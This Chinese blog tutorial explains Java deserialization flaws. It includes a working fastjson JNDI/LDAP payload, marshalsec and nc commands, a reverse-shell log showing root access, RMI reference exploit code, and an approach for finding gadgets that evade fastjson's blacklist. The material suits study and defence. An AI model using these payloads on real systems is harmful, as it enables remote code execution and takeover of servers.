Java反序列化
相关概念
-
序列化:
将Object对象按照规定的格式,转换为可以存储或可以网络传输的形式。可以有效的实现多平台之间的通信、对象持久化存储。
-
反序列化:
从存储中读取或从网络接收一个已经被序列化的对象,按照规定的格式,重新创建该对象。
java序列化
是指把Java对象转换为字节序列的过程(便于保存在内存、文件、数据库中),ObjectOutputStream
类的writeObject()
方法可以实现序列化。
java反序列化
是指把字节序列恢复为Java对象的过程,ObjectInputStream
类的readObject()
方法用于反序列化。
在java中,只要一个类实现了java.io.Serializable
接口,就可以通过ObjectInputStream
与ObjectOutputStream
进行序列化。
一个类对象想要序列化成功,必须同时满足:
- 该类必须实现
java.io.Serializable
接口 - 该类的所有属性必须是可序列化的(用
transient
关键字修饰的属性除外,不参与序列化过程)。如果有一个属性不是可序列化的,则该属性必须注明是短暂的。
漏洞成因
暴露或间接暴露反序列化 API ,导致用户可以操作传入数据,攻击者可以精心构造反序列化对象并执行恶意代码。
两个或多个看似安全的模块在同一运行环境下,共同产生的安全问题
漏洞基本原理
举个本地运行的小🌰看看
-
先序列化一个对象
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27import java.io.*;
public class Exploit {
public static void main(String[] argv) throws IOException {
MyObject myObj = new MyObject();
// 创建一个包含对象的 test_object 数据文件
FileOutputStream fos = new FileOutputStream("test_object");
ObjectOutputStream os = new ObjectOutputStream(fos);
// 将 myObj 对象写入 test_object 文件
os.writeObject(myObj);
os.close();
System.out.println("test");
}
}
class MyObject implements Serializable{
// 重写Serializable()方法
private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
// 执行默认的readObject()方法
in.defaultReadObject();
Runtime.getRuntime().exec(
new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
}
}此时会生成一个 test_object 的文件。
使用
hex friend
编辑器查看这个文件:可以看到
ACED0005
这个开头的串,这是java序列化为内容的特征。完整串为:1
ACED0005 73720008 4D794F62 6A656374 D97192B5 4E0D8916 02000078 70
-
再反序列化该对象
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25import java.io.*;
public class Exploit {
public static void main(String[] argv) throws IOException, ClassNotFoundException {
// java反序列化
// 从文件中反序列化 myObj 对象
FileInputStream fin = new FileInputStream("test_object");
ObjectInputStream oin = new ObjectInputStream(fin);
// 恢复对象
MyObject myObj = (MyObject)oin.readObject();
oin.close();
}
}
class MyObject implements Serializable{
// 重写Serializable()方法
private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
// 执行默认的readObject()方法
in.defaultReadObject();
Runtime.getRuntime().exec(
new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
}
} -
代码成功执行
小结一下:
-
序列化的方式不只是将对象存储在文件中,也可以是通过网络传输。
-
利用方式不只是弹出一个计算器,也可以是反弹shell,具体命令,可在以上例子中,将
Runtime.getRuntime().exec(new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
内的命令换成反弹shell的命令即可。 -
要执行的目标代码,不只是
Runtime.exec()
,也可以是:-
Method.invoke()
这种需要适当地选择方法和参数,通过反射执行Java方法
-
RMI/JNDI/JRMP
通过引用远程对象,间接实现任意代码执行的效果
-
其实原理说白了就是,java在反序列化的时候,直接将恶意的序列化对象的代码执行了。
接下来我们再好好看看几个java界内,血次呼啦的RCE案例。
fastjson反序列化
简介
fastjson是一个java编写的高性能功能非常完善的JSON库。
漏洞复现
-
攻击者服务器开启监听:
1
2
3
4
5[root@VM-16-14-centos ~]# nc -l -vv 1234
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234 -
攻击者服务器执行:
1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://xxx.xxx.xxx.xxx/#Exploit 9999
-
同时发送payload给目标服务器的
fastjson
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21POST /
Host: sql.com:8090
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 264
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://xxx:9999/Exploit",
"autoCommit":true
}
} -
攻击者服务拿到反弹shell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16[root@VM-16-14-centos ~]# nc -l -vv 1234
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from xxx.xxx.xxx.xxx.
Ncat: Connection from xxx.xxx.xxx.xxx:60972.
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@bd9b3bcee003:/# whoami
whoami
root
root@bd9b3bcee003:/# exit
exit
exit
NCAT DEBUG: Closing fd 5.
[root@VM-16-14-centos ~]#
抓个包看看通讯过程:
-
目标服务器使用
ldap
请求攻击者服务器的Exploit
(攻击者自己部署了一个ldap的目录服务),由于ldap
协议特性(后续讲),ldap告诉目标服务器要到xxx位置去取对象。 -
目标服务器根据ldap的目录指向,获取恶意对象,并加载执行
目标服务器请求了攻击者服务器的Exploit.class
文件,其中Exploit.java
的代码如下:
1 | public class Exploit { |
可见,目标服务器通过ldap
远程获取了恶意代码,在反序列化的时候,加载并执行了恶意代码。从而导致远程命令执行漏洞。
拓展
JNDI
https://kingx.me/Exploit-Java-Deserialization-with-RMI.html
https://lzwgiter.github.io/Java 反序列化漏洞与JNDI注入(下)/
https://www.anquanke.com/post/id/221917
https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html
-
简介(百度百科)
JNDI(Java Naming and Directory Interface,Java命名和目录接口)是SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。目录服务是命名服务的一种自然扩展。
JNDI(Java Naming and Directory Interface)是一个应用程序设计的API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口,类似JDBC都是构建在抽象层上。现在JNDI已经成为J2EE的标准之一,所有的J2EE容器都必须提供一个JNDI的服务。
JNDI可访问的现有的目录及服务有:
- DNS
- XNam
- Novell目录服务
- LDAP(Lightweight Directory Access Protocol轻型目录访问协议)
- CORBA对象服务
- 文件系统
- Windows XP/2000/NT/Me/9x的注册表
- RMI
- DSML v1&v2
- NIS
简单点来说就相当于一个索引库,一个命名服务将对象和名称联系在了一起,并且可以通过它们指定的名称找到相应的对象。也就是把资源取个名字,再根据名字来找资源。
上面fastjson反序列化的漏洞,就是利用了JNDI + LDAP
的利用方式。
LDAP 协议
在「漏洞复现」部分,我们使用了ldap
,那什么是ldap呢?
- LDAP(Lightweight Directory Access Protocol)轻型目录访问协议。是一个开放的,中立的,工业标准的应用协议,通过IP协议提供访问控制和维护分布式信息的目录信息。
为什么使用LDAP就能让fastjson加载并执行恶意代码呢?
- LDAP能返回
JNDI Reference
对象,且LDAP服务的Reference远程加载Factory类使用范围更广。fastjson在反序列化时,就加载了JNDI Reference
对象,由此导致的远程命令执行。
RMI 协议
RMI(Remote Method Invoke)远程方法调用, 使用 JRMP(Java Remote Message Protocol,Java远程消息交换协议)实现,使得客户端运行的程序可以调用远程服务器上的对象。
RMI有一个重要的特性是动态类加载机制,当本地CLASSPATH中无法找到相应的类时,会在指定的codebase里加载class。codebase可以在系统属性java.rmi.server.codebase设置其URL。如果codebase的URL可控,那么我们就可以载入任意的class或jar文件。
漏洞复现:
-
编写利用代码,并将其编译为
.class
文件,上传至攻击者服务器1
2
3
4
5
6
7
8
9
10import java.io.IOException;
public class exp {
public exp() throws IOException {
java.lang.Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
}
public static void main(String[] args) throws IOException {
exp e = new exp();
}
} -
本地编写
rmi server
代码(如下),并执行1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class rmi_server {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
String url = "http://target.ip/";
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("exp", "exp", url);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("obj",referenceWrapper);
System.out.println("running");
}
}这里需要解释一下:
- 由于某些情况不能直接将远程对象返回,所以JNDI提出了
Naming References
的方法,返回相应的Reference而不返回具体的对象。统一由JNDI的请求端去加载指定的地址上的对象。这个代码就是 本地注册并开启了1099
端口的rmi服务,通过bind
方法将获取到的reference
绑定到obj
中,客户端只需要访问obj
就可以拿到远程对象。 - 当接收程序试图从
url
上下载文件时,会自动把类的包名转化为目录,在对应的目录下查询类文件。因此,如果远程类文件在WebServer
目录下,那么远程url
应为:http://target.ip/
;如果把类打包成jar
包,那么url
应为:http://target.ip/xx.jar
;如果传递的是类文件,那么url
应为:http://target.ip/xx.class
。
- 由于某些情况不能直接将远程对象返回,所以JNDI提出了
-
本地编写
rmi client
代码(如下),并执行1
2
3
4
5
6
7
8
9
10
11
12import javax.naming.InitialContext;
import javax.naming.NamingException;
public class rmi_client {
public static void main(String[] args) throws NamingException {
String url = "rmi://127.0.0.1:1099/obj";
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
InitialContext initialContext = new InitialContext();
initialContext.lookup(url);
}
}客户端访问本地
1099
下的obj
,拿到了远程对象,从而成功执行了payload。 -
可成功打开本地计算器程序
漏洞原理
其实就是把恶意的Reference
类,绑定在RMI的Registry 里面,在客户端调用lookup
远程获取远程类的时候,就会获取到Reference
对象,获取到Reference
对象后,会去寻找Reference
中指定的类,如果查找不到则会在Reference
中指定的远程地址去进行请求,请求到远程的类后会在本地进行执行。在利用时,只需要想办法把InitialContext
类下lookup
的地址转为攻击者可控的地址,就可以利用。
自动化挖掘gadget
AST进行自动化挖掘
AST简介:
AST(Abstract Syntax Tree)抽象语法树,是源代码语法结构的一种抽象表示。它以树状的形式表现编程语言的语法结构。它由一堆节点(Node)组成,每个节点都表示源代码中的一种结构。不同结构用类型来区分,常见的类型有: Identifier(标识符),BinaryExpression(二元表达式),VariableDeclaration(变量定义),FunctionDeclaration(函数定义)等。AST是编译器看的,编译器会将源码转化成AST。
使用AST进行gadget挖掘:
上面讲到「只需要想办法把InitialContext
类下lookup
的地址转换为攻击者可控的地址,就可以进行利用」,这个的前提是「利用的类,不在Fastjson黑名单内」。
因此利用思路就可以是:
反编译不在FastJson黑名单内的jar包,生成java源码文件,将源码文件生成AST语法树,对语法树进行判断,筛选出符合条件的类。再尝试构造POC即可。
先使用反编译软件,将.class文件编译为java源码文件;再使用python的javalang
包对源码文件进行AST转换。判断原则:
- 是否调用的lookup 方法
- lookup中参数必须是变量
- lookup中的参数必须来自函数入参,或者类属性
如果您喜欢此博客或发现它对您有用,则欢迎对此发表评论。 也欢迎您共享此博客,以便更多人可以参与。 如果博客中使用的图像侵犯了您的版权,请与作者联系以将其删除。 谢谢 !